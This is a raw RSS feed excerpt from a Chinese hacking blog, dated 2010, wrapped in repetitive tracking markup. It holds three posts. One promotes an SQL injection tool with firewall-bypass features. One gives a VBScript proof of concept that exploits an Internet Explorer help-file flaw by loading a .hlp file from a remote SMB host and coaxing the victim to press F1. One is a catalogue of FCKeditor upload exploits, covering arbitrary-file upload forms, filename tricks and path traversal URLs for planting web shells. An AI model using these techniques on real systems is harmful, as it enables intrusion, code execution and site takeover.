href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=5af4ad61fea3cb7e877a54e552fc95bc&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=5af4ad61fea3cb7e877a54e552fc95bc&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6decd475888deede4a6c5cbcf61f2ac0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6decd475888deede4a6c5cbcf61f2ac0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=ea8c67e622bb9253c905c4c261fd49e4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=ea8c67e622bb9253c905c4c261fd49e4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=88d9a95bd614b868ab5e546c07386dda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=88d9a95bd614b868ab5e546c07386dda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=082a34db64226d7115e35b8f71f5e333&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=082a34db64226d7115e35b8f71f5e333&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=124adc7a845e25d6c2c8c43741d865bd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=124adc7a845e25d6c2c8c43741d865bd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b334ccb52ae35558c13214aa2aeaae52&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b334ccb52ae35558c13214aa2aeaae52&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f369d3452a7b0488b5db446ecbb24f75&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f369d3452a7b0488b5db446ecbb24f75&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/374.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>来源：woyigui

大牛的作品应该很不错
以下是功能介绍
1.全面支持HTTP类型
    * 支持HTTP 1.0/1.1；
    * 支持POST/GET /Cookie方法；
    * 支持Basic/NTLM /Digest验证；
    * 支持基于公钥或者私钥的 SSL；
2.全面的数据库类型识别   
    * 支持MS Access；
    * 支持MS SQL Server；
    * 支持Mysql Server；
    * 支持Oracle Server；
    * 支持Postgre SQL Server；
    * 支持 Informix SQL Server；
    * 支持Sybase SQL Server；
    * 支持DB2 SQL Server；
    * 支持Sqlite；
3.诸多领先技术
    * 全自动智能网页编码识别，告别数据库乱码；
    * 内置自动智能关键字分析，无需人工干预；
    * 支持 Error/Union/Blind等丰富sql注入方式，确保能获取数据；
    * 丰富的绕过防火墙过滤功能；
    * 内置浏览器可以注入需要登录的网站；
有兴趣的朋友可以试试！
文件下载：Safe3SQLInjector3.0免费版&lt;img src=&quot;http://www1.feedsky.com/t1/338844753/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844753/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844753/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844753/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=4dcdddce6a1a76e400b39db4339bb49d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=4dcdddce6a1a76e400b39db4339bb49d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=5af4ad61fea3cb7e877a54e552fc95bc&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=5af4ad61fea3cb7e877a54e552fc95bc&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6decd475888deede4a6c5cbcf61f2ac0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6decd475888deede4a6c5cbcf61f2ac0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=ea8c67e622bb9253c905c4c261fd49e4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=ea8c67e622bb9253c905c4c261fd49e4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=88d9a95bd614b868ab5e546c07386dda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=88d9a95bd614b868ab5e546c07386dda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=082a34db64226d7115e35b8f71f5e333&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=082a34db64226d7115e35b8f71f5e333&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=124adc7a845e25d6c2c8c43741d865bd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=124adc7a845e25d6c2c8c43741d865bd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b334ccb52ae35558c13214aa2aeaae52&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b334ccb52ae35558c13214aa2aeaae52&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f369d3452a7b0488b5db446ecbb24f75&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f369d3452a7b0488b5db446ecbb24f75&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>注入</category><category>sql</category><category>工具收集</category><category>检测</category><category>safe</category><pubDate>Fri, 05 Mar 2010 15:57:39 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/374.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=374</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/374.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844753/5987391</fs:itemid></item><item><title>Internet Explorer的’winhlp32.exe中’MsgBox（）’远程执行代码漏洞</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844754/5987391/1/item.html</link><content:encoded>&lt;p&gt;测试代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;html&amp;gt;
&amp;lt;script type=&quot;text/vbscript&quot;&amp;gt;
big = &quot;\\184.73.14.110\PUBLIC\test.hlp&quot;

//For i=1 to 2500
//  big = big &amp;amp; &quot;\..\&quot;
//Next

MsgBox &quot;please press F1 to save the world&quot;, ,&quot;please save the world&quot;,
big, 1
MsgBox &quot;press F1 to close this annoying popup&quot;, ,&quot;&quot;, big, 1
MsgBox &quot;press F1 to close this annoying popup&quot;, ,&quot;&quot;, big, 1
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个代码利用起来比较麻烦需要诱导别人按F1键才可以&lt;/p&gt;
&lt;p&gt;HLP文件 &lt;a href=&quot;http://huairen.me/wp-content/uploads/msgbox_test_help.zip&quot;&gt;msgbox_test_help&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;貌似国内的XX操作系统里边都没有帮助文件！&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844754/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844754/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844754/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844754/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=57d854d04b22b20a433e68b5db49de6d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=57d854d04b22b20a433e68b5db49de6d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=3f1486ff5a765d7354ca27c0fffa0086&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=3f1486ff5a765d7354ca27c0fffa0086&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a4f50a5599280666c7405883d2e5cc0d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a4f50a5599280666c7405883d2e5cc0d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e89d3aba8c08a95e8763027ec70d77f2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e89d3aba8c08a95e8763027ec70d77f2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b97592256d2adbbdd820c9c42e6178ee&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b97592256d2adbbdd820c9c42e6178ee&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=38acdad229b9d2325161079d2c0c7701&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=38acdad229b9d2325161079d2c0c7701&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=93f54c14780c2e164f836c29f8c729dc&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=93f54c14780c2e164f836c29f8c729dc&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a49528dc43b7fb143db9634def91474e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a49528dc43b7fb143db9634def91474e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=0671314d7b038f0e99589125e73a53cd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=0671314d7b038f0e99589125e73a53cd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/371.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>测试代码：

&amp;#60;html&amp;#62;
&amp;#60;script type=&quot;text/vbscript&quot;&amp;#62;
big = &quot;\\184.73.14.110\PUBLIC\test.hlp&quot;

//For i=1 to 2500
//  big = big &amp;#38; &quot;\..\&quot;
//Next

MsgBox &quot;please press F1 to save the world&quot;, ,&quot;please save the world&quot;,
big, 1
MsgBox &quot;press F1 to close this annoying popup&quot;, ,&quot;&quot;, big, 1
MsgBox &quot;press F1 to close this annoying popup&quot;, ,&quot;&quot;, big, 1
&amp;#60;/script&amp;#62;
&amp;#60;/html&amp;#62;

这个代码利用起来比较麻烦需要诱导别人按F1键才可以
HLP文件 msgbox_test_help
貌似国内的XX操作系统里边都没有帮助文件！&lt;img src=&quot;http://www1.feedsky.com/t1/338844754/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844754/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844754/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844754/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=57d854d04b22b20a433e68b5db49de6d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=57d854d04b22b20a433e68b5db49de6d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=3f1486ff5a765d7354ca27c0fffa0086&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=3f1486ff5a765d7354ca27c0fffa0086&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a4f50a5599280666c7405883d2e5cc0d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a4f50a5599280666c7405883d2e5cc0d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=e89d3aba8c08a95e8763027ec70d77f2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=e89d3aba8c08a95e8763027ec70d77f2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b97592256d2adbbdd820c9c42e6178ee&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b97592256d2adbbdd820c9c42e6178ee&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=38acdad229b9d2325161079d2c0c7701&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=38acdad229b9d2325161079d2c0c7701&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=93f54c14780c2e164f836c29f8c729dc&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=93f54c14780c2e164f836c29f8c729dc&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=a49528dc43b7fb143db9634def91474e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=a49528dc43b7fb143db9634def91474e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=0671314d7b038f0e99589125e73a53cd&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=0671314d7b038f0e99589125e73a53cd&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>工具收集</category><category>IE</category><pubDate>Wed, 03 Mar 2010 09:34:42 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/371.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=371</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/371.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844754/5987391</fs:itemid></item><item><title>Fckeditor漏洞利用方法总结</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844755/5987391/1/item.html</link><content:encoded>&lt;p&gt;查看编辑器版本&lt;br /&gt;
FCKeditor/_whatsnew.html&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;2. Version 2.2 版本&lt;br /&gt;
Apache+linux 环境下在上传文件后面加个.突破！测试通过。&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;3.Version &amp;lt;=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。&lt;br /&gt;
&amp;lt;form id=&amp;#8221;frmUpload&amp;#8221; enctype=&amp;#8221;multipart/form-data&amp;#8221;&lt;br /&gt;
action=&amp;#8221;&lt;a href=&quot;http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media&quot;&gt;http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media&lt;/a&gt;&amp;#8221; method=&amp;#8221;post&amp;#8221;&amp;gt;Upload a new file:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;#8221;file&amp;#8221; name=&amp;#8221;NewFile&amp;#8221; size=&amp;#8221;50&amp;#8243;&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;input id=&amp;#8221;btnUpload&amp;#8221; type=&amp;#8221;submit&amp;#8221; value=&amp;#8221;Upload&amp;#8221;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;4.FCKeditor 文件上传“.”变“_”下划线的绕过方法&lt;br /&gt;
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。&lt;br /&gt;
    4.1：提交shell.php+空格绕过&lt;br /&gt;
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。&lt;br /&gt;
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;5. 突破建立文件夹&lt;br /&gt;
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;amp;Type=Image&amp;amp;CurrentFolder=%2Fshell.asp&amp;amp;NewFolderName=z&amp;amp;uuid=1244789975684&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&amp;amp;CurrentFolder=/&amp;amp;Type=Image&amp;amp;NewFolderName=shell.asp&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;6. FCKeditor 中test 文件的上传地址&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/test.html&lt;br /&gt;
FCKeditor/editor/filemanager/upload/test.html&lt;br /&gt;
FCKeditor/editor/filemanager/connectors/test.html&lt;br /&gt;
FCKeditor/editor/filemanager/connectors/uploadtest.html&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;7.常用上传地址&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;amp;Type=Image&amp;amp;CurrentFolder=/&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;amp;connector=connectors/asp/connector.asp&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;amp;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)&lt;br /&gt;
JSP 版：&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;amp;Connector=connectors/jsp/connector.jsp&lt;br /&gt;
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文&lt;br /&gt;
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;8.其他上传地址&lt;br /&gt;
FCKeditor/_samples/default.html&lt;br /&gt;
FCKeditor/_samples/asp/sample01.asp&lt;br /&gt;
FCKeditor/_samples/asp/sample02.asp&lt;br /&gt;
FCKeditor/_samples/asp/sample03.asp&lt;br /&gt;
FCKeditor/_samples/asp/sample04.asp&lt;br /&gt;
一般很多站点都已删除_samples 目录，可以试试。&lt;br /&gt;
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;9.列目录漏洞也可助找上传地址&lt;br /&gt;
Version 2.4.1 测试通过&lt;br /&gt;
修改CurrentFolder 参数使用 ../../来进入不同的目录&lt;br /&gt;
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&amp;amp;Type=Image&amp;amp;CurrentFolder=../../..%2F&amp;amp;NewFolderName=shell.asp&lt;br /&gt;
根据返回的XML 信息可以查看网站所有的目录。&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;amp;Type=Image&amp;amp;CurrentFolder=%2F&lt;br /&gt;
也可以直接浏览盘符：&lt;br /&gt;
JSP 版本：&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;amp;Type=&amp;amp;CurrentFolder=%2F&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;10.爆路径漏洞&lt;br /&gt;
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;amp;Type=File&amp;amp;CurrentFolder=/shell.asp&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;11. FCKeditor 被动限制策略所导致的过滤不严问题&lt;br /&gt;
        影响版本: FCKeditor x.x &amp;lt;= FCKeditor v2.4.3&lt;br /&gt;
脆弱描述：&lt;br /&gt;
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：&lt;br /&gt;
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm&lt;br /&gt;
Fckeditor 2.0 &amp;lt;= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!&lt;br /&gt;
        而在apache 下，因为&amp;#8221;Apache 文件名解析缺陷漏洞&amp;#8221;也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。&lt;br /&gt;
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;12.最古老的漏洞，Type文件没有限制！&lt;br /&gt;
        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！&lt;br /&gt;
—————————————————————————————————————————————————————————————&lt;/p&gt;
&lt;p&gt;        以上都是从网上收集的，方便自己也方便大家！&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844755/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844755/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844755/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844755/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=67ce33d67ead4fe60540f7bf54d16a66&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=67ce33d67ead4fe60540f7bf54d16a66&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=bc90d7878a8416cfe6c3f06e7fee53de&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=bc90d7878a8416cfe6c3f06e7fee53de&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=da0c75e0d1c5979ee416397ac99206b2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=da0c75e0d1c5979ee416397ac99206b2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d46ecdf5918a3897e5962f37acd79feb&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d46ecdf5918a3897e5962f37acd79feb&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=febb333bc355e542fd39a6a3036f72f8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=febb333bc355e542fd39a6a3036f72f8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=519e6aa208570bfec6a7c485c1eb6a28&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=519e6aa208570bfec6a7c485c1eb6a28&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=c2d6c1d86e544704b1b0e3f90e381f38&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=c2d6c1d86e544704b1b0e3f90e381f38&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=1ebfa07559b2e9ae5f433b8dcb5315a0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=1ebfa07559b2e9ae5f433b8dcb5315a0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=704b611dca86333438453a85f5e19f55&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=704b611dca86333438453a85f5e19f55&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/369.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
—————————————————————————————————————————————————————————————
3.Version &amp;#60;=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
&amp;#60;form id=&amp;#8221;frmUpload&amp;#8221; enctype=&amp;#8221;multipart/form-data&amp;#8221;
